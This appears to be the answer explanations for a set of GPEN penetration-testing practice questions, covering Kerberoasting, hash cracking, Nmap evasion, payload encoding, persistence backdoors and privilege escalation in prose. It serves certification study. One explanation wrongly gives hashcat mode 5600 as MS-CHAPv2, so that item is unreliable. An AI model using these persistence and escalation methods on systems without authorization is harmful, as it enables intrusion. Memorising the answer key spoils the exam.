GIAC Penetration Tester (GPEN) — Questions 1–75

This specific error code in the context of PsExec often signals that a security product or the Windows firewall identified the suspicious activity of installing a service remotely and terminated the SMB connection to prevent further compromise, which is standard behavior for modern EDR solutions in a secure environment.

This document is a scope agreement and authorization letter. It ensures that the tester only targets the agreed-upon IP addresses, protecting both parties legally. Testing outside this scope could be considered unauthorized access, even if the client verbally approved a broader range. It is a fundamental component of the Rules of Engagement.

In some countries, unauthorized access laws may apply even with client authorization if the tester is not physically present or if the authorization does not meet local legal requirements. For example, Germany has strict computer crime laws. Testing must be planned to comply with each jurisdiction's legal framework to avoid criminal liability for the tester and the client.

Self-signed certificates are common in rapid-deployment C2 infrastructure because they are easy to generate and cost nothing. While they trigger warnings in a browser, malware can be configured to ignore these warnings, making them a telltale sign of non-standard, likely malicious, backend communication infrastructure.

The -T0 (Paranoid) and -T1 (Sneaky) timing templates drastically reduce the scan speed, sending packets with long delays between them. This makes the scan traffic less likely to trigger rate-based IPS signatures, which often flag rapid port scans. Slowing down is a classic evasion technique that helps avoid detection by network security devices.

Metasploit exploit modules implement a check method that returns a vulnerability status and often prints detailed diagnostic messages when Verbose is enabled. Running check and reviewing the verbose output reveals the SMB dialect negotiated and the specific reason the check failed, such as a missing patch or unsupported dialect. This directly answers both what dialect is in use and why the exploit check failed.

Written authorization is a legal necessity to protect the tester from liability and to prove that the client consented to the testing. It should specify the scope, time frame, and any limitations. Without it, the tester could be considered to be conducting unauthorized access, which is illegal. This is a fundamental element of the Rules of Engagement and is required for any professional penetration test.

SHA-512 crypt hashes are commonly found in /etc/shadow on Linux systems and are identified by the $6$ prefix. Hashcat mode 1800 is specifically designed to crack these hashes. Since the scenario involves a SHA-512 crypt hash, mode 1800 is the correct choice for an efficient and successful cracking attempt.

Requesting TGS tickets for accounts with registered SPNs returns the service ticket encrypted with the target account's NTLM hash, which can be cracked offline without contacting the target service. Rubeus kerberoast automates this extraction and produces a hashcat-compatible format. The compromised user only needs a valid TGT, so no lockout risk is introduced against the service account.

Max concurrent hosts determines how many hosts are scanned at the same time. By reducing this value, the tester limits the number of devices being probed simultaneously, which directly lowers the risk of overwhelming fragile printers. It also helps manage overall network load while still allowing the scan to proceed efficiently.

Beaconing relies on periodic check-ins to ensure the malware maintains its connection to the C2 server. This regularity, even if jitter is present, creates a distinct statistical signature in network traffic logs, allowing security analysts to identify compromised hosts that are systematically calling out to an external C2 node.

DNS tunneling encapsulates arbitrary data within DNS queries and responses, allowing interactive shell access over UDP 53. Since the network only allows DNS to an internal resolver, dnscat2 can still reach its external server if the resolver performs recursive lookups. Persistence via scheduled task ensures the channel re-establishes after reboot. This combination directly addresses the constraints.

Group Policy Preferences stored credentials in cpassword fields encrypted with a static AES key that Microsoft published in MS14-025 documentation. Tools such as gpp-decrypt recover the plaintext instantly, and the recovered credential often belongs to a privileged account. Because the key is fixed and public, no cracking is required, making decryption the direct and effective escalation step.

A high volume of TGS-REQ requests from a single source is a hallmark of Kerberoasting, as the attacker attempts to collect multiple tickets to maximize their chances of cracking service account passwords. This behavioral pattern is distinct from normal network activity where users typically request tickets incrementally.

Detailed error messages reveal internal file paths, database structure, and query logic, which are valuable for an attacker. This information can be used to identify the technology stack, locate vulnerabilities, and craft precise exploits. For example, knowing the database type and version can help tailor SQL injection payloads. This is a classic information disclosure vulnerability that aids reconnaissance.

Any authenticated domain user possesses the rights to request a Ticket Granting Service ticket for any valid Service Principal Name registered in Active Directory. This core protocol design feature allows standard low-privilege accounts to initiate the Kerberoasting attack chain.

The authorized_keys file contains the public keys allowed to authenticate for a given user account. By adding a key here, you create a persistent access point. The file and the ~/.ssh directory must have correct permissions (e.g., 600 for the file) for the SSH daemon to accept the key.

In a forgery scenario, the attacker controls the entire ticket construction, including the PAC. By modifying the PAC data, the attacker can grant themselves administrative group memberships, effectively becoming a domain administrator as far as any service accepting the ticket is concerned, regardless of their real identity.

Security systems often scan for known shellcode patterns or restricted characters like null bytes (0x00). Encoding the payload allows it to pass through these filters by obfuscating the malicious bytes into a benign-looking format, which is later decoded by a small stub upon reaching memory.

Providing SSH and SMB credentials enables authenticated checks that query local patch databases and software inventories directly. This yields accurate detection of missing patches and misconfigurations while minimizing network probes, thereby reducing scan duration and load. It is a core technique for credentialed scanning in mixed Windows and Linux environments.

Querying the directory for objects with a non-null servicePrincipalName attribute returns exactly the accounts eligible for Kerberoasting. This read-only LDAP operation requires only standard authenticated access, does not modify the directory, and does not generate failed logon events that could cause lockouts, making it the correct enumeration technique in this scenario.

xp_cmdshell is a powerful stored procedure in Microsoft SQL Server that spawns a Windows command shell and passes in a command string for execution. It is the primary target for testers attempting to escalate from SQL injection to remote code execution on the underlying database server host.

TCP SYN ping sends a SYN packet to common ports, effectively bypassing ICMP-only filters. Because it does not complete a full three-way handshake, it is significantly stealthier than a full TCP connect scan. This technique is a standard industry method for host discovery in hardened, filtered network environments.

Msfvenom allows for the creation of various payload types while applying encoding techniques to modify the binary signature. This is a crucial task for penetration testers who need to evade simple signature-based security controls by creating unique, obfuscated payloads that are less likely to be detected by traditional antivirus software.

Using a benign DLL that launches a non-critical application or writes to a log file is the safest way to demonstrate the vulnerability. It proves code execution with SYSTEM privileges without causing service instability or creating a persistent backdoor that could be misused if detected by third parties.

Photos uploaded to social media or corporate blogs often contain EXIF metadata, including GPS coordinates and device hardware details. This data can reveal an employee's daily habits, office location, or preferred hardware, providing a wealth of information for planning physical access attacks or tailoring social engineering lures to the specific environment.

Pass-the-ticket involves injecting a stolen TGT into a logon session so the system can request service tickets on behalf of the user. With the TGT injected, the tester can obtain a TGS for the file share's SPN and access it without the password. Rubeus ptt performs the injection, and the resulting TGS enables authenticated access.

Testing a production SaaS environment during business hours risks impacting live customers if an exploit triggers instability. Defining rollback steps and an emergency stop procedure gives both parties a clear protocol to halt testing quickly and restore service. This is the most critical planning element because it directly protects the provider's customers and limits business impact from authorized testing activity.

dig is a flexible DNS lookup utility that can perform zone transfers using the AXFR query type. By running 'dig axfr @nameserver example.com', you can attempt to retrieve the entire zone file if the nameserver is misconfigured to allow transfers. This directly aligns with the reconnaissance goal of mapping subdomains.

WMI event subscriptions allow attackers to execute code when specific system conditions are met. Because these subscriptions are stored in the WMI repository rather than standard registry keys, they evade basic persistence checks, making them a highly effective and stealthy method for maintaining long-term access to a Windows system.

Systemd is the default init system on most modern Linux distributions, and creating a service unit ensures your payload runs at system startup. It is reliable, persistent across reboots, and can be configured to run as root. This method is commonly used by attackers and is less likely to be removed accidentally. It provides a robust backdoor that starts early in the boot process.

Opening a document in a client application like a PDF viewer is a quintessential client-side attack. The attacker leverages a vulnerability in the client software that is triggered by the user's action, effectively gaining control over the user's local machine through their interaction with the malicious file.

Manual verification, such as banner grabbing, checking file versions, or safely reproducing the vulnerability, provides definitive proof. Scanners infer vulnerabilities from version strings or indirect indicators, which can be wrong. By directly inspecting the service and testing the specific issue, the tester eliminates false positives and can confidently report the finding with evidence.

Vulnerability detection is the phase where the scanner maps the software versions identified on the target against its internal CVE database. This process identifies known flaws associated with those specific versions and generates the reports that security teams use for remediation and risk prioritization.

The -sV option enables service version detection, which probes the open port and analyzes the responses to identify the application name, version, and sometimes additional details. Combined with -p 80, it targets the HTTP service specifically, making it the correct choice for identifying the web server version.

By modifying the federation settings to trust an attacker-controlled identity provider, you can forge SAML tokens for any user in the tenant. This allows you to authenticate as any user, including Global Administrators, without knowing their passwords. This backdoor persists even if your Global Administrator account is removed, as long as the federation settings remain unchanged. This is a known persistence technique.

The TCP ACK scan sends ACK packets to target ports. A stateful firewall will typically drop unsolicited ACKs, resulting in a 'filtered' state, while a stateless firewall may allow them and the host will respond with RST, showing 'unfiltered'. By analyzing whether ports are filtered or unfiltered, you can infer the firewall's nature, making this the correct choice.

Once the domain controller's TGT is cached on APP01, extracting it with a tool such as Rubeus or Mimikatz and injecting it into the tester's session allows the tester to impersonate the DC. Presenting that TGT yields a service ticket with domain controller privileges, enabling DCSync or other high-impact actions.

Certificate transparency logs record every publicly trusted TLS certificate issued for a domain, including subject alternative names. Organizations frequently request certificates for internal-only hostnames, and those names appear in the logs even when public DNS returns NXDOMAIN. Querying CT logs such as crt.sh for contoso.com can therefore reveal internal hostnames without touching the internal network, directly satisfying the requirement.

The '$6$' prefix indicates a SHA-512 crypt hash, commonly used on Linux systems. Hashcat mode 1800 is designed for sha512crypt hashes. Using this mode ensures correct parsing of the salt and hash, allowing efficient cracking. It is the standard mode for modern Linux password hashes.

BloodHound uses graph theory to reveal hidden relationships and attack paths in Active Directory. SharpHound collects data such as users, groups, computers, and sessions. It can identify domain controllers and potential privilege escalation paths, such as unconstrained delegation or ACL misconfigurations. This is a powerful tool for enumerating domain controllers and their vulnerabilities from a domain user perspective.

Because domain fronting shares infrastructure with legitimate traffic, blocking the C2 traffic often requires blocking the entire CDN host header or IP range. Doing this in a production environment during a penetration test could inadvertently block legitimate business applications, leading to significant operational downtime and client dissatisfaction.

Kernel exploits manipulate memory structures at a very low level. Small errors in memory alignment or incorrect assumptions about the OS state lead to immediate kernel panics or crashes. This downtime is a major business impact, making kernel exploits the highest-risk category of penetration testing activities.

This specific TLS alert signifies that the client received a certificate it could not verify against its local root store. This is a common indicator that the C2 infrastructure is using a self-signed certificate, which the client is configured to reject due to strict security settings.

WHOIS is the standard protocol for querying registration databases. It provides the owner, administrative contact, and registered netblocks for a given domain or IP range. This is fundamental for reconnaissance as it confirms the legal and administrative scope of the assets being tested during the engagement.

Meterpreter is designed to run in memory, minimizing its footprint on the target system. It offers a wide range of extensible commands that allow the penetration tester to interact with the system, escalate privileges, and maintain access, all while remaining highly resilient against traditional file-based signature detection methods.

MFA is the most effective control against password spraying. Even if an attacker guesses the password, the secondary factor prevents them from gaining access. It neutralizes the utility of the guessed credential, forcing the attacker to find another way to circumvent the authentication process entirely.

Since the script is world-writable (777), you can edit it to execute arbitrary commands. The cron job runs as root every minute, so your modified script will execute with root privileges. Adding a reverse shell or copying /bin/bash with SUID will grant you root access. This is a direct and reliable escalation because you control the script's content and it runs as root without any additional checks.

The -Pn flag instructs Nmap to treat all hosts as online. It skips the ping discovery phase entirely, allowing the scanner to attempt port probes on every target regardless of whether they respond to ICMP. This is necessary for scanning hosts that are protected by ICMP-blocking firewalls.

SeImpersonatePrivilege lets a process impersonate a token handed to it by a client, and tools like PrintSpoofer or the Potato family coerce a SYSTEM-privileged service into authenticating so the token can be captured and reused. On Server 2019 the classic JuicyPotato CLSID path is patched, so PrintSpoofer or RoguePotato is the working variant here.

Hashcat mode 1000 is specifically for NTLM hashes. NTLM hashes are MD4-based and are commonly found in Windows environments. Using mode 1000 allows Hashcat to correctly parse and crack these hashes. This is the standard mode for NTLM and is widely used in penetration testing when dealing with Windows password hashes extracted from SAM or NTDS.dit files.

Windows attempts to execute the path segment before the space if no quotes are present. By placing a malicious executable at that specific location with the appropriate name, the service manager will execute your file instead of the intended one, running your code with the service's high-privilege context.

Because hashing is a simple mathematical function, a GPU's thousands of parallel cores can compute many hashes simultaneously. CPUs are better at sequential, complex logic, but for raw brute-force tasks, the parallel architecture of a GPU is vastly superior, enabling billions of attempts per second.

Using a conditional time-based payload allows the tester to compare response times between true and false conditions. A consistent delay only when the condition is true confirms the injection point and rules out incidental latency. This is the standard manual validation technique for time-based blind SQL injection, providing strong evidence.

The $6$ prefix is the standard identifier for SHA-512 crypt in Linux shadow files. Hashcat mode 1800 is specifically designed for sha512crypt, which includes the salt and iteration count. This mode handles the variable rounds and salt, making it the correct choice for cracking this hash. Using the wrong mode would result in failure to recognize the hash format.

This approach directly addresses the client's need to validate exploitable vulnerabilities while minimizing operational risk. Non-destructive exploitation avoids payloads that could crash services, and a predefined stop condition ensures immediate halt if production stability is threatened. It aligns with standard penetration testing practices for sensitive environments and balances thoroughness with safety, making it the most appropriate recommendation.

DNS logs contain the full query history, including the requested domain names and the record types used. This is the most effective data source for detecting DNS tunneling, as it allows analysts to perform statistical analysis and identify patterns indicative of covert channels and malicious name resolution.

Differential scans compare the results of the current scan to a baseline, highlighting only what has been added, removed, or changed. This allows administrators to track new vulnerabilities introduced by recent updates or configuration changes without wasting resources re-scanning systems that have not changed state.

Since offline cracking does not involve sending authentication requests to the target, the target's account lockout policy is never triggered. This allows the tester to run millions of attempts per second without any risk of locking out legitimate users, which is essential for maintaining service availability during an engagement.

Querying on-premises AD uses the user's existing domain authentication, which does not create Entra ID sign-in logs. Since synchronized objects exist in both directories, enumerating on-premises AD can reveal a significant portion of Entra ID users and groups without touching the cloud identity provider, achieving stealth.

The first step in troubleshooting is to ensure the listener is actually running and reachable. Checking if the LHOST is correct and if there is a firewall blocking the LPORT on the attacker's side is crucial, as this is the most common cause of failed reverse connections in laboratory environments.

This command selects the Linux reverse TCP payload, sets the callback host and port, applies the shikata_ga_nai encoder, specifies null bytes as bad characters to avoid, and outputs an ELF file. The -b option tells msfvenom to encode the payload so the listed bytes do not appear, which is exactly the requirement for surviving a constrained channel. All parameters align with the scenario.

Devices synced to Azure AD are marked as 'known' or 'compliant' depending on the policy. If an attacker joins a rogue device to the on-premises domain, it gets synced to the cloud. This device may then be treated as trusted, bypassing security controls that require a 'compliant' or 'managed' device.

The SYN scan is the 'half-open' technique that identifies open ports by initiating the handshake but never finishing it. By sending a RST packet upon receiving a SYN/ACK, it avoids creating a full connection entry in the target's socket table, which is the standard behavior for most Nmap scans.

-sn (No port scan) tells Nmap to perform only host discovery and skip port scanning. This is the correct and current option for a ping sweep. It sends various probes (ICMP echo, TCP SYN to 443, TCP ACK to 80, ICMP timestamp) to determine if hosts are up, and it is much faster than scanning ports on every host.

A bind shell makes the target machine a server, opening a port that is visible to any network scan. This increases the risk that other attackers or internal security tools will detect the unexpected listener, and it may be blocked by ingress firewall rules designed to prevent such connections.

Pass-through authentication relies on valid directory credentials. When attackers capture these credentials, they often target legacy protocols like POP3, IMAP, or SMTP which traditionally do not enforce modern conditional access policies or multi-factor authentication challenges.

ARP ping (-PR) sends ARP requests, which are Layer 2 broadcasts and are not routed or inspected by most network IDS/IPS. On a flat Layer 2 segment, every live host must answer with its MAC address, so this reliably identifies hosts without generating TCP SYN traffic that would trigger the IDS. It is the default host discovery method for local Ethernet targets.

SYSTEM has no user credentials, so it cannot authenticate to remote resources that require the logged-on user's token. This is why mapped drives and network shares tied to the interactive user are inaccessible from a SYSTEM-level session unless you migrate or steal a token.

Cracking NTLM hashes recovered from the NTDS.dit database reveals plaintext passwords utilized by employees and administrators. This is critical for identifying administrative password reuse across external cloud applications and internal boundaries protected by multi-factor authentication.

Hashcat mode 5600 is specifically designed for NetNTLMv2 hashes. The captured format matches the expected input for this mode, allowing the GPU to efficiently compute HMAC-MD5 responses. Using this mode ensures the challenge-response mechanism is properly emulated, enabling successful recovery of the plaintext password. Other modes target different hash types and will fail to parse or crack the hash correctly.

A TCP SYN scan (-sS), also known as a half-open scan, sends a SYN packet and analyzes the response without completing the handshake. It is fast, stealthy, and less likely to be logged by the target application. Since you have root privileges, this is the appropriate choice to avoid IPS signatures associated with full connections.

Hashcat mode 5600 is specifically designed for MS-CHAPv2 challenge-response pairs. It expects the format `username::::response:challenge`. This mode correctly implements the MS-CHAPv2 algorithm to derive the password from the captured handshake. Using a wordlist or rules with this mode is the standard approach for offline cracking of MS-CHAPv2. Thus, this is the correct tool and mode.

With root privileges, a TCP SYN ping (-PS) to commonly open ports such as 22, 80, and 443 will elicit a SYN/ACK or RST from live hosts even when ICMP is filtered, and -sn disables port scanning so the run stays fast. This directly addresses the firewall that drops echo requests.

Obtaining written authorization from a senior executive is a mandatory safety precaution for unannounced testing. It ensures that there is a senior point of contact who understands the nature of the activity and has the authority to intervene if the testing activity causes unexpected or critical system issues.